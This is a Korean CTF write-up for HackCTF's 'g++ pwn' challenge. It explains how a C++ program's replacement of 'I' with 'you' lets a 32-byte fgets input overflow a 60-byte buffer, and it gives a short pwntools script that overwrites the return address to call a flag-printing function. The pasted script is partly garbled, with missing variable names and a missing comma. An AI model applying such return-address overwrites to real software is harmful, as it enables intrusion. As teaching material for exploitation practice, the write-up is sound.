HACKCTF - g++ pwn

2020. 8. 14. 13:10CTF's Write-up

문제 화면

 

 

해당 gpwn프로그램을 실행하면

 

 

실행화면

 

단순하게 입력을 받고 입력받은내용을 출력시켜주는 프로그램입니다.

 

ida를 통해 함수를 봐보면

 

ida main

 

main함수에서 바로 vuln() 함수라고 알려주는데(취약한함수) 이 함수를 타고 들어가면

 

 

ida vuln

 

이럼 c++로 만들어진 코드를 볼 수 있습니다.

코드를 간략하게 이야기해보면 13번째줄에서 fgets를 사용하는데, 32바이트만큼만 받기떄문에 60바이트인 버퍼를 덮기는 턱없이 부족합니다.

그럼에 16, 18, 19번째줄은 해석해보면 "I" 라는 문자를 "you"라는 문자로 바꾸어주기 때문에 이부분을 이용하면 bof를 해서 ret변조가 가능할 것 같습니다.

 

즉 dummy[60] + sfp[4] + ret[4] 를 해주면 됩니다.

 

 

 

 

ret주소는 위의 cat flag함수로 지정해줍니다.

payload 는 아래와 같습니다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3011)
#r = process("./gpwn")
= ELF("./gpwn")
context.log_level = "debug"
shell = 0x08048F0D 
 
 
payload = "I"*20
payload += "A"*4
payload += p32(shell)
 
r.sendline(payload)
cs

 

이 코드를 실행시키면

 

 

flag 획득

 

flag획득이 가능합니다.

C++코드만 해석을 잘 할 수 있다면 별로 어렵지 않은 문제 같습니다.

'CTF's Write-up' 카테고리의 다른 글

DreamHack - rev-basic-8  (0) 2020.08.17
HACKCTF - RTL_World  (0) 2020.08.16
HACKCTF - Classic Cipher -2  (0) 2020.08.13
HACKCTF - Look at me  (0) 2020.08.12
HACKCTF - AVR Programming (1)  (0) 2020.08.12